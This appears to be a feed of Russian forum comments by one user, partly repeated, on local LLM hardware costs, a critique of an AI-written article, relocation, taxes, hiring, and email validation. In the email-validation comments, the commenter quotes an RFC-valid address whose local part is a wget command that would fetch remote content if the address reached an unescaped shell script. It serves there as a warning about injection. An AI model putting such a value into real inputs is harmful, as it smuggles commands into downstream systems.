Для начала, клод по подписке работает в большой убыток, чтобы захватить аудиторию, а затем вывести цены на прибыльные — история та же, что с Убером/Яндексом в начале их работы и сейчас.
Зачем работодателю дополнительные расходы на ИИ-агентов, если результат тот же самый?
Вы имеете в виду, что LLM не повышают производительность? Я напомню, что 90% айти — рисование формочек и перекладывание джейсонов, а с бойлерплейтными операциями нейронки весьма неплохо справляются.
Работодателю выгодно заплатить за оборудование для сотрудника, чтобы получить адекватный выхлоп, собственно, как нет и проблемы с приобретением подписок на весь остальной софт/железо.
У мака быстрая(~820gb/s) объединённая память, что позволяет GPU выделить десятки гигабайт, не отдавая много тысяч долларов за серверную видеокарту.
На ПК-платформе такое тоже есть с мобильными процессорами от AMD со встроенной видеокартой и нейроускорителем, но там в три-четыре раза(~200-250gb/s) ниже скорость доступа к памяти. В zen 6, что должен выйти в конце этого/начале следующего года, обещают проблему с памятью решить и поднять скорость до 1.6TB/s, т.е. до уровня видеокарт.
Был бы у меня мак с 48 оперативы, я бы может и не женился бы
Мак мини с 48 памяти стоит 140к рублей по текущему курсу. Для игрушки дороговато, но для рабочего инструмента сойдёт.
Как будто то бы платить 20 баксов за клод-код проще
Во-первых, как уже заметили выше, дешёвые подписки улетают мгновенно. Чтобы пользоваться моделями полноценно, нужны максимальные подписки за 10-20к рублей по курсу — своё железо быстро окупается даже с текущими субсидированными ценами.
Во-вторых, приватность. Всё дешёвые подписки не для энтерпрайза собирают используют пользовательские данные для обучения(1), отдадут ваши данные силовикам по запросу(2) и сами сигнализируют, куда надо, если им не понравится, что вы пишете(3).
Наконец, доступность. Апи сами по себе лежат часто; у большинства российских пользователей(мы всё ещё на Хабре с соответствующей аудиторией) есть проблемы с оплатой и Роскомнадзором/сервисами, блокирующими запросы из РФ; из самолётов и подобных поездок тоже доступа нет.
локальные модели все равно слабые
Для заметной части задач их хватает с большим запасом.
Не вижу главного способа: как наёмный сотрудник, разработчик получает от работодателя оборудование для работы, так что его не беспокоит цена нижележащего AI. Фрилансерам будет тяжело, да.
Ташкенте-то? Там население около берлинского, если что.
С инфрой тоже в порядке всё в целом. Общественный транспорт не очень, за исключением активно развивающегося метро, но такси даже до аэропорта через полгорода стоит примерно 200 рублей по текущему курсу — не проблема в целом.
Узбекистан, например, пускает россиян без ограничения по сроку пребывания и виз — нужен только загран, а там уже можно думать над следующими шагами и получением виз в развитые страны. Переводы из РФ работают по номеру телефона, местные говорят на русском в Ташкенте — с выживанием нет проблем даже у нее самых подготовленных релокантов. Если работа позволяет удалёнку, то весьма неплохой вариант.
Я бы поверил, если бы там сходилась элементарная арифметика.
Вы пишете: "запустим qwen на 397B параметров". QWEN даже на A100(я уже не говорю про 4090) даёт 7(семь) токенов в секунду. Для думающих запросов, которые токены тратят сотнями тысяч, это означает время выполнения >= 10 часов.
Это ломает любые аргументы про "зачем платить за проприетарный API" — у любого человека, которому релевантно использование LLM, рабочий день стоит дороже одного доллара, который облачный провайдер попросит за инференс в таком объёме.
Люди не делают такие ошибки. Если бы вы реально что-то запускали или хотя бы ресёрчилии тему, в статье и был бы текст "локально запускать без миллиона долларов смысла нет, т.к. инференс занимает вечность". LLM же шпарит, не думая — получается такой нейрослоп.
маппинг на роли
анализ 30+ моделей по 12 бенчмаркам
это ручная работа
Игнат, у вас есть таблица "роли", где есть роли "Оркестратор", "Критик" и "Consumer GPU". AI в приступе слопофазии смешал заявленные роли и железо, на котором должны выполняться модели. Я повторю ещё раз: люди не делают такие ошибки. Кого и зачем вы пытаетесь обмануть?
И вообще, спросить LLM и скопипастить выхлоп, как несложно заметить в diff того самого коммита — это не анализ:
-# Agent Factory: Open-Source Model Selection Guide
-
-> **Date:** March 2026
-> **Goal:** Map the best open-weight LLM to each agent role, optimizing for GPU-usage / Effectiveness / Quality.
-> **Constraint:** All models must have open weights on HuggingFace. No proprietary APIs.
Вы спросили нейросеть, она выдала вам слопа, вы его кидаете в лицо читателям и пытаетесь отрицать, когда вам на это указывают.
Я не желаю читать не верифицированный нейрослоп в свободное время — мне хватает на работе того, что я бью палкой разработчиков, которые вместо того, чтобы сделать свою работу и нормально подготовить пулл-реквест, пусть и с помощью AI, просто присылают выхлоп нейронки в виде PR и ожидают, что ревьюер будет писать десятки комментариев, которые они потом скопипастят в чат. Это элементарное оскорбление читателя: промтер берёт шланг и начинает того поливать нейронным дерьмом, которое сам не удосужился даже прочитать.
Сама статья — слоп на слопе и слопом погоняет, что видно не только по характерному стилю и пунктуации(что забавно выглядит в комментарии, где я набираю тире через wincompose), но и тупейшим глюкам от заканчивающегося контекста и неспособности LLM считать.
Например, текст начинается с обещания:
. Минимальный сетап — 24 GB VRAM (одна RTX 4090).
Доходим до деплоя:
Развёртывание: от домашнего GPU до продакшена
5 агентов, 3 модели, 24 GB VRAM:
1x GPU (80 GB)
~56 GB (KV cache + headroom)
Да, 24 гигабайта. RTX 4090. Пять агентов, которые принимают запрос, проектируют, пишут код, тестируют и отдают результат. На видеокарте из игрового компьютера.
Ммм, идея статьи пала жертвой нейронного склероза, вызванного потерей контекста.
Ладно, предположим, что "автор"(промптер гейронки, whatever) опечатался. Взглянем на расчёты цен, которые сложно провалить, закончив хотя бы начальную школу, а не дорастя до PhD, как написано в профиле:
При API-ценах (допустим, $3/M input + $15/M output для frontier-модели) один сложный запрос обходится в $0.50-2.00. При 1000 запросах в день — $500-2000/день. На своём железе — фиксированная стоимость GPU.
Автор, значит, собрался тратить 35-130 миллионов токенов в день, если я ещё могу разделить ожидаемые расходы на цену токенов. В своей схеме он, напомню, собирается использовать RTX 4090 или кластер A100, чтобы запускать QWEN на 397B. Эта редакция qwen выдаёт 50 токенов в секунду на зверь-машине с четырьмя RTX PRO 6000(~$8000 за каждую карту, т.е. сервер общей ценой около $40k), если верить реддиту.
Опять же, учимся делить и умножать: машина на RTX 6000 может производить 50 токенов в секунду * 86400 секунд в дне = 4.3 миллиона токенов в сутки, даже если мы игнорируем тот факт, что загрузка нелинейная, а пользователи не будут ждать часами в очереди, и берём теоретический максимум. Для 130 миллионов токенов в день надо 40 таких машин($1.6 миллиона чистых расходов на серверы). Если мы используем на сервере по одной консумерской карточке(та самая 4090 из параграфа выше), которая свопает модель в RAM, то производительность на каждой машине можно делить на двадцать — тут уже нужен небольшой датацентр при таком раскладе, который всё ещё стоил бы под миллион долларов даже без санкционных ограничений на ввоз видеокарт.
То есть, автор со всей нейронной непосредственностью предлагает сделать миллион-два долларов(очевидно, нашёл их случайно в кармане лёгкой куртки, надев её впервые с осени) фиксированных затрат, чтобы получить минимальную окупаемость системы, не считая затрат на размещение, в 3+ года(как раз примерно срок службы карточек).
Я думаю, что очень смешно видеть очередной пост против АИ-пузыря в блоге сервиса, являющегося его частью. Вашему руководству и владельцам бы показать этот пост, чтобы СММщика за распространение предложения их обложить ещё большими налогами выгнали на мороз.
Согласны ли вы с анализом автора?
Тут нет анализа — это очередной левацкий нахрюк по стандартному шаблону: "происходит $любое_явление — давайте возьмём и поделим деньги богатых".
Глобальный минимальный налог сделал бы налоговые гавани невыгодными. Если бы он был введён, Big Tech не копил бы свои богатства, а был бы стимулирован инвестировать в реальный рост.
В какой реальный рост? Вот они инвестируют в ИИ, который считают потенциально прибыльным, но автору почему-то не нравится.
налог на богатство - например, ежегодный 2%-ный налог на активы свыше 50 миллионов долларов - мог бы предотвратить этот беспорядок. Он бы заставил руководителей Big Tech платить справедливую долю и стимулировал бы их сосредоточиться на долгосрочном росте, а не на краткосрочных рискованных играх вроде пузыря
Каким образом он бы их заставил это делать? Средний руководитель имеет большую часть компенсации в виде RSU и бонусов, привязанных к капитализации компании, как одному из важнейших KPI. Каким образом бы его не грабили, он заинтересован увеличивать стоимость компании и зарабатывать деньги.
они всё равно не собираются возвращать кредиты, взятые под залог раздутых акций
Акции большинства АИ-компаний доступны на бирже. Купите акции, возьмите в долг у банка, использовав их в качестве залога и попробуйте не внести ежемесячный платёж — я с большим интересом посмотрю.
N лет назад искал новую работу. Походил месяц по разным собесам, в финале остался Яндекс и конкурирующий бигтех. Последние оказались расторопнее и быстро сделали хороший оффер. Я решил торгануться, принёс цифры в Яндекс: "у меня в $конкурент есть оффер на $x в месяц, $y сайнап и $z RSU, но в ваш бизнес верю больше -- если сматчите, то выберу вас". HR прочёл и назначил встречу с руководителем отдела, где они час рассказывали, как у них круто работать, а потом предложили на сто тысяч в месяц меньше и обязательный переезд в МСК.
Мой отказ участников встречи невероятно удивил, ведь ради большой чести работать в их свитшопе стоит огромная очередь за забром. Яндексовый рекрутер потом ещё два дня подряд в личку писал, выдавая перлы в духе "всех денег не заработаешь", "в $конкурент, возможно, более высокая компенсация, но у нас очень сильные возможности развития", а потом оставил пропущенный звонок в час ночи.
«В 2035-м тот самый выпускник, если вообще кто‑то ещё будет ходить в университет, вполне может отправиться в миссию по исследованию Солнечной системы — на космическом корабле, с совершенно новой, захватывающей, высокооплачиваемой и безумно интересной работой.
Вот эти миссии уже давно монополизированы роботами.
как себя почувствует шестьдесятдвухлетний,
Шестидесятидвухлетний досидит оставшиеся пять лет, за которые обещают захват мест AI, и выйдет на пенсию в 67 по законам США, где рабочие места перестанут быть для него такой острой проблемой. Свежий же выпускник американского вуза рискует обнаружить себя с долгом за обучение, который нечем выплачивать без работы.
Они могут вообще распечатывать ваш xml и прогонять через OCR
Вы не поверите, но такое тоже есть. У нас один из партнёров не всегда консистентные данные между XML и PDF-кой договора присылает, так что мы парсим PDF для валидации, и ничего, не жужжим. Причём эта контора активами на триллионы долларов управляет и не работать с ними нереально — когда ОП пишет про прошаренных чуваков, отказывающихся от услуг, когда видят валидацию не по RFC, сразу ясно, что в серьёзном бизнесе не работал.
Ну так-то отвалиться может что угодно.
Может, так что не надо обострять ситуацию, собирая эджкейсы.
Я расскажу страшную историю: у нас недавно отвалилась интеграция с одним из партнеров. Они интегрируются по стандартизированному SOAP, принимая не менее стандартизированный MISMO-документ, для которого есть DTD, по которому можно собрать десериализацию с нулём ручного кода. Казалось бы, что может пойти не так?
Выяснилось, что у партнёра не реализован SOAP на самом деле — они принимают сырое тело SOAP-запроса и парсят через поиск подстрок, не используя даже стандартный XML-парсер. Предсказуемо, оно развалилось, когда мы им новое поле, включённое в стандарт, стали отправлять.
Именно из-за таких историй надо бить линейкой по пальцам за попытки разрешить пользователям использовать полный стадарт RFC на почты, телефоны по E.164 с поддержкой допномеров, юникод в полях, которые для него не предусмотрены и подобного — даже самая современная система опирается на огромный карточный домик существующего легаси из говна и палок, который разваливается, если попытаться затолкать в него хоть что-то нестандартное.
Как раз потому, что соответствие RFC — это не желаемый эффект и предпочтительные правила валидации жёстче из-за сторонних ограничений. root@localhost — валидный имейл по RFC, но пропускать его вы не хотите почти никогда.
одно для логина другое - для отправки писем Проблема решена.
Рано. У вас теперь два поля для PII masking в логах, анонимизации для стейджа, интеграций с партнёрами. Это набор источников для интереснейших багов.
Больше того, у вас часто в системе много мест, куда можно засунуть почту — вам придётся поддерживать это везде, чтобы избежать конфузов вида: "у организации не была привязана почта, так что произошёл фоллбек на отправку письма пользователю-руководителю, но он отвалился, потому его личный адрес не прошел валидацию".
шарящих ребят кривая валидация - это как красная тряпка
Опять же, какое пресечение этих ребят с красными тряпками и decision makers?
Винить RFC в том, что твой древний баш-скрипт можно взломать
Проблема в том, что он как раз не мой — это обычно какая-то вендорская система, к которой есть доступ по API. В глубинах систем может быть IBM'овский мейнфрейм с семибитной кодировкой, который подавится юникодным имейлом, если его не канонизировать; На другом интеграции конце может быть asp.net framework приложение, которое режет запросы, когда видит в нем что-то похожее на csrf. Я пишу код для большого американского банка и там такие приколы на каждом шагу.
Вокруг множество хрупких систем, и пускать к себе на вход только чистые данные — валидная стратегия, если вы не хотите потом ругаться с полусотней вендоров, которые не принимают ваши запросы, потому что их реализация кривая. Lowest common denominator никогда не подводит.
Любые данные от юзера надо экранировать перед использованием. Всегда.
Давайте учиться читать:
когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
С вашей стороны всё может быть прекрасно, но ломается оно в чужом коде. Удачи править приложение, написанное на смеси C, древнего диалекта лиспа и, почему-то, D(у нас такое реально есть. Вендор-аутсорсер просто конченный), которое дергает другие команды, но не справляется с экранированием.
Внедрите нормализацию. Перед проверкой уникальности и сохранением в БД приводите email к каноническому виду. Это решит проблему с дублированием аккаунтов.
Так вы определитесь, как пользователь: вы хотите, чтобы у вас аккаунт был привязан к основному email или к алиасу? Если к алиасу, то система должна оригинальный email хранить, чтобы на него письма слать, как минимум, так что о нормализации речи быть не может. Если в канонической форме, то и плюсы всякие можно блокировать спокойно — в канонической форме из быть не может.
Представим, что ваш сервис разрешил регистрацию на user+test1@gmail.com. Что произойдет, если тот же пользователь попытается зарегистрироваться на user+test2@gmail.com
Ну, то есть, мы сначала разрешили регистрацию с email в неканонический форме, придумав себе проблему на ровном месте, а потом героически её решаем?
это ваша упущенная прибыль или потерянный лид
Сколько реальных пользователей пользуются этим функционалом и уйдут без него? Сколько денег приносят эти пользователи?
Про калечный регекс можно вообще много рассуждать. Как-то читал статью по валидацию почт от Райана Кастелуччи, у которого есть доступный(я написал ему туда письмо и получил ответ) email
`wget${ifs}r.vc/ghe`@ryanc.org
Он соответствует RFC, но пропускать такие адреса — это хитрый способ выстрелить себе в ногу в моменте, когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
Ещё и контролы глючные. У меня половина оценок свойственно/не свойственно проставилась в случайные значения во время скролла, а поменять результаты нельзя.
Для начала, клод по подписке работает в большой убыток, чтобы захватить аудиторию, а затем вывести цены на прибыльные — история та же, что с Убером/Яндексом в начале их работы и сейчас.
Вы имеете в виду, что LLM не повышают производительность? Я напомню, что 90% айти — рисование формочек и перекладывание джейсонов, а с бойлерплейтными операциями нейронки весьма неплохо справляются.
Работодателю выгодно заплатить за оборудование для сотрудника, чтобы получить адекватный выхлоп, собственно, как нет и проблемы с приобретением подписок на весь остальной софт/железо.
У мака быстрая(~820gb/s) объединённая память, что позволяет GPU выделить десятки гигабайт, не отдавая много тысяч долларов за серверную видеокарту.
На ПК-платформе такое тоже есть с мобильными процессорами от AMD со встроенной видеокартой и нейроускорителем, но там в три-четыре раза(~200-250gb/s) ниже скорость доступа к памяти. В zen 6, что должен выйти в конце этого/начале следующего года, обещают проблему с памятью решить и поднять скорость до 1.6TB/s, т.е. до уровня видеокарт.
Мак мини с 48 памяти стоит 140к рублей по текущему курсу. Для игрушки дороговато, но для рабочего инструмента сойдёт.
Во-первых, как уже заметили выше, дешёвые подписки улетают мгновенно. Чтобы пользоваться моделями полноценно, нужны максимальные подписки за 10-20к рублей по курсу — своё железо быстро окупается даже с текущими субсидированными ценами.
Во-вторых, приватность. Всё дешёвые подписки не для энтерпрайза собирают используют пользовательские данные для обучения(1), отдадут ваши данные силовикам по запросу(2) и сами сигнализируют, куда надо, если им не понравится, что вы пишете(3).
Наконец, доступность. Апи сами по себе лежат часто; у большинства российских пользователей(мы всё ещё на Хабре с соответствующей аудиторией) есть проблемы с оплатой и Роскомнадзором/сервисами, блокирующими запросы из РФ; из самолётов и подобных поездок тоже доступа нет.
Для заметной части задач их хватает с большим запасом.
Не вижу главного способа: как наёмный сотрудник, разработчик получает от работодателя оборудование для работы, так что его не беспокоит цена нижележащего AI. Фрилансерам будет тяжело, да.
Ташкенте-то? Там население около берлинского, если что.
С инфрой тоже в порядке всё в целом. Общественный транспорт не очень, за исключением активно развивающегося метро, но такси даже до аэропорта через полгорода стоит примерно 200 рублей по текущему курсу — не проблема в целом.
Не вижу метод “сменить провайдера госуслуг”.
Узбекистан, например, пускает россиян без ограничения по сроку пребывания и виз — нужен только загран, а там уже можно думать над следующими шагами и получением виз в развитые страны. Переводы из РФ работают по номеру телефона, местные говорят на русском в Ташкенте — с выживанием нет проблем даже у нее самых подготовленных релокантов. Если работа позволяет удалёнку, то весьма неплохой вариант.
Я бы поверил, если бы там сходилась элементарная арифметика.
Вы пишете: "запустим qwen на 397B параметров". QWEN даже на A100(я уже не говорю про 4090) даёт 7(семь) токенов в секунду. Для думающих запросов, которые токены тратят сотнями тысяч, это означает время выполнения >= 10 часов.
Это ломает любые аргументы про "зачем платить за проприетарный API" — у любого человека, которому релевантно использование LLM, рабочий день стоит дороже одного доллара, который облачный провайдер попросит за инференс в таком объёме.
Люди не делают такие ошибки. Если бы вы реально что-то запускали или хотя бы ресёрчилии тему, в статье и был бы текст "локально запускать без миллиона долларов смысла нет, т.к. инференс занимает вечность". LLM же шпарит, не думая — получается такой нейрослоп.
Игнат, у вас есть таблица "роли", где есть роли "Оркестратор", "Критик" и "Consumer GPU". AI в приступе слопофазии смешал заявленные роли и железо, на котором должны выполняться модели. Я повторю ещё раз: люди не делают такие ошибки. Кого и зачем вы пытаетесь обмануть?
И вообще, спросить LLM и скопипастить выхлоп, как несложно заметить в diff того самого коммита — это не анализ:
Вы спросили нейросеть, она выдала вам слопа, вы его кидаете в лицо читателям и пытаетесь отрицать, когда вам на это указывают.
Я не желаю читать не верифицированный нейрослоп в свободное время — мне хватает на работе того, что я бью палкой разработчиков, которые вместо того, чтобы сделать свою работу и нормально подготовить пулл-реквест, пусть и с помощью AI, просто присылают выхлоп нейронки в виде PR и ожидают, что ревьюер будет писать десятки комментариев, которые они потом скопипастят в чат. Это элементарное оскорбление читателя: промтер берёт шланг и начинает того поливать нейронным дерьмом, которое сам не удосужился даже прочитать.
Слоп-статья со ссылкой на слоп-визуализацию фантазии на тему слопа.
То есть, серьёзно, я взял первую ссылку — там навайбанный дизайн со статическими данными. Открыл гитхаб — там даже в теории нет ничего, кроме статики, зато красивые логи бегут и есть коммит, зачем-то стыдливо удаляющий MD-файлы от Claude, из которых собран этот слоп-пост.
Сама статья — слоп на слопе и слопом погоняет, что видно не только по характерному стилю и пунктуации(что забавно выглядит в комментарии, где я набираю тире через wincompose), но и тупейшим глюкам от заканчивающегося контекста и неспособности LLM считать.
Например, текст начинается с обещания:
Доходим до деплоя:
Ммм, идея статьи пала жертвой нейронного склероза, вызванного потерей контекста.
Ладно, предположим, что "автор"(промптер гейронки, whatever) опечатался. Взглянем на расчёты цен, которые сложно провалить, закончив хотя бы начальную школу, а не дорастя до PhD, как написано в профиле:
Автор, значит, собрался тратить 35-130 миллионов токенов в день, если я ещё могу разделить ожидаемые расходы на цену токенов. В своей схеме он, напомню, собирается использовать RTX 4090 или кластер A100, чтобы запускать QWEN на 397B. Эта редакция qwen выдаёт 50 токенов в секунду на зверь-машине с четырьмя RTX PRO 6000(~$8000 за каждую карту, т.е. сервер общей ценой около $40k), если верить реддиту.
Опять же, учимся делить и умножать: машина на RTX 6000 может производить 50 токенов в секунду * 86400 секунд в дне = 4.3 миллиона токенов в сутки, даже если мы игнорируем тот факт, что загрузка нелинейная, а пользователи не будут ждать часами в очереди, и берём теоретический максимум. Для 130 миллионов токенов в день надо 40 таких машин($1.6 миллиона чистых расходов на серверы). Если мы используем на сервере по одной консумерской карточке(та самая 4090 из параграфа выше), которая свопает модель в RAM, то производительность на каждой машине можно делить на двадцать — тут уже нужен небольшой датацентр при таком раскладе, который всё ещё стоил бы под миллион долларов даже без санкционных ограничений на ввоз видеокарт.
То есть, автор со всей нейронной непосредственностью предлагает сделать миллион-два долларов(очевидно, нашёл их случайно в кармане лёгкой куртки, надев её впервые с осени) фиксированных затрат, чтобы получить минимальную окупаемость системы, не считая затрат на размещение, в 3+ года(как раз примерно срок службы карточек).
Я за бан.
Я думаю, что очень смешно видеть очередной пост против АИ-пузыря в блоге сервиса, являющегося его частью. Вашему руководству и владельцам бы показать этот пост, чтобы СММщика за распространение предложения их обложить ещё большими налогами выгнали на мороз.
Тут нет анализа — это очередной левацкий нахрюк по стандартному шаблону: "происходит $любое_явление — давайте возьмём и поделим деньги богатых".
В какой реальный рост? Вот они инвестируют в ИИ, который считают потенциально прибыльным, но автору почему-то не нравится.
Каким образом он бы их заставил это делать? Средний руководитель имеет большую часть компенсации в виде RSU и бонусов, привязанных к капитализации компании, как одному из важнейших KPI. Каким образом бы его не грабили, он заинтересован увеличивать стоимость компании и зарабатывать деньги.
Акции большинства АИ-компаний доступны на бирже. Купите акции, возьмите в долг у банка, использовав их в качестве залога и попробуйте не внести ежемесячный платёж — я с большим интересом посмотрю.
N лет назад искал новую работу. Походил месяц по разным собесам, в финале остался Яндекс и конкурирующий бигтех. Последние оказались расторопнее и быстро сделали хороший оффер. Я решил торгануться, принёс цифры в Яндекс: "у меня в $конкурент есть оффер на $x в месяц, $y сайнап и $z RSU, но в ваш бизнес верю больше -- если сматчите, то выберу вас". HR прочёл и назначил встречу с руководителем отдела, где они час рассказывали, как у них круто работать, а потом предложили на сто тысяч в месяц меньше и обязательный переезд в МСК.
Мой отказ участников встречи невероятно удивил, ведь ради большой чести работать в их свитшопе стоит огромная очередь за забром. Яндексовый рекрутер потом ещё два дня подряд в личку писал, выдавая перлы в духе "всех денег не заработаешь", "в $конкурент, возможно, более высокая компенсация, но у нас очень сильные возможности развития", а потом оставил пропущенный звонок в час ночи.
P/S > 30 для сервиса с отрицательной юнит-экономикой? Инвесторы не пожалеют.
Вот эти миссии уже давно монополизированы роботами.
Шестидесятидвухлетний досидит оставшиеся пять лет, за которые обещают захват мест AI, и выйдет на пенсию в 67 по законам США, где рабочие места перестанут быть для него такой острой проблемой. Свежий же выпускник американского вуза рискует обнаружить себя с долгом за обучение, который нечем выплачивать без работы.
Для решения этой проблемы надо смотреть в сторону смены провайдера не VPN, но госуслуг.
Вы не поверите, но такое тоже есть. У нас один из партнёров не всегда консистентные данные между XML и PDF-кой договора присылает, так что мы парсим PDF для валидации, и ничего, не жужжим. Причём эта контора активами на триллионы долларов управляет и не работать с ними нереально — когда ОП пишет про прошаренных чуваков, отказывающихся от услуг, когда видят валидацию не по RFC, сразу ясно, что в серьёзном бизнесе не работал.
Может, так что не надо обострять ситуацию, собирая эджкейсы.
Партнеры хотят сырой имейл, а не ID / хэш.
Я расскажу страшную историю: у нас недавно отвалилась интеграция с одним из партнеров. Они интегрируются по стандартизированному SOAP, принимая не менее стандартизированный MISMO-документ, для которого есть DTD, по которому можно собрать десериализацию с нулём ручного кода. Казалось бы, что может пойти не так?
Выяснилось, что у партнёра не реализован SOAP на самом деле — они принимают сырое тело SOAP-запроса и парсят через поиск подстрок, не используя даже стандартный XML-парсер. Предсказуемо, оно развалилось, когда мы им новое поле, включённое в стандарт, стали отправлять.
Именно из-за таких историй надо бить линейкой по пальцам за попытки разрешить пользователям использовать полный стадарт RFC на почты, телефоны по E.164 с поддержкой допномеров, юникод в полях, которые для него не предусмотрены и подобного — даже самая современная система опирается на огромный карточный домик существующего легаси из говна и палок, который разваливается, если попытаться затолкать в него хоть что-то нестандартное.
Как раз потому, что соответствие RFC — это не желаемый эффект и предпочтительные правила валидации жёстче из-за сторонних ограничений.
root@localhost— валидный имейл по RFC, но пропускать его вы не хотите почти никогда.Рано. У вас теперь два поля для PII masking в логах, анонимизации для стейджа, интеграций с партнёрами. Это набор источников для интереснейших багов.
Больше того, у вас часто в системе много мест, куда можно засунуть почту — вам придётся поддерживать это везде, чтобы избежать конфузов вида: "у организации не была привязана почта, так что произошёл фоллбек на отправку письма пользователю-руководителю, но он отвалился, потому его личный адрес не прошел валидацию".
Опять же, какое пресечение этих ребят с красными тряпками и decision makers?
Проблема в том, что он как раз не мой — это обычно какая-то вендорская система, к которой есть доступ по API. В глубинах систем может быть IBM'овский мейнфрейм с семибитной кодировкой, который подавится юникодным имейлом, если его не канонизировать; На другом интеграции конце может быть asp.net framework приложение, которое режет запросы, когда видит в нем что-то похожее на csrf. Я пишу код для большого американского банка и там такие приколы на каждом шагу.
Вокруг множество хрупких систем, и пускать к себе на вход только чистые данные — валидная стратегия, если вы не хотите потом ругаться с полусотней вендоров, которые не принимают ваши запросы, потому что их реализация кривая. Lowest common denominator никогда не подводит.
Давайте учиться читать:
С вашей стороны всё может быть прекрасно, но ломается оно в чужом коде. Удачи править приложение, написанное на смеси C, древнего диалекта лиспа и, почему-то, D(у нас такое реально есть. Вендор-аутсорсер просто конченный), которое дергает другие команды, но не справляется с экранированием.
Так вы определитесь, как пользователь: вы хотите, чтобы у вас аккаунт был привязан к основному email или к алиасу? Если к алиасу, то система должна оригинальный email хранить, чтобы на него письма слать, как минимум, так что о нормализации речи быть не может. Если в канонической форме, то и плюсы всякие можно блокировать спокойно — в канонической форме из быть не может.
Ну, то есть, мы сначала разрешили регистрацию с email в неканонический форме, придумав себе проблему на ровном месте, а потом героически её решаем?
Сколько реальных пользователей пользуются этим функционалом и уйдут без него? Сколько денег приносят эти пользователи?
Про калечный регекс можно вообще много рассуждать. Как-то читал статью по валидацию почт от Райана Кастелуччи, у которого есть доступный(я написал ему туда письмо и получил ответ) email
Он соответствует RFC, но пропускать такие адреса — это хитрый способ выстрелить себе в ногу в моменте, когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
Ещё и контролы глючные. У меня половина оценок свойственно/не свойственно проставилась в случайные значения во время скролла, а поменять результаты нельзя.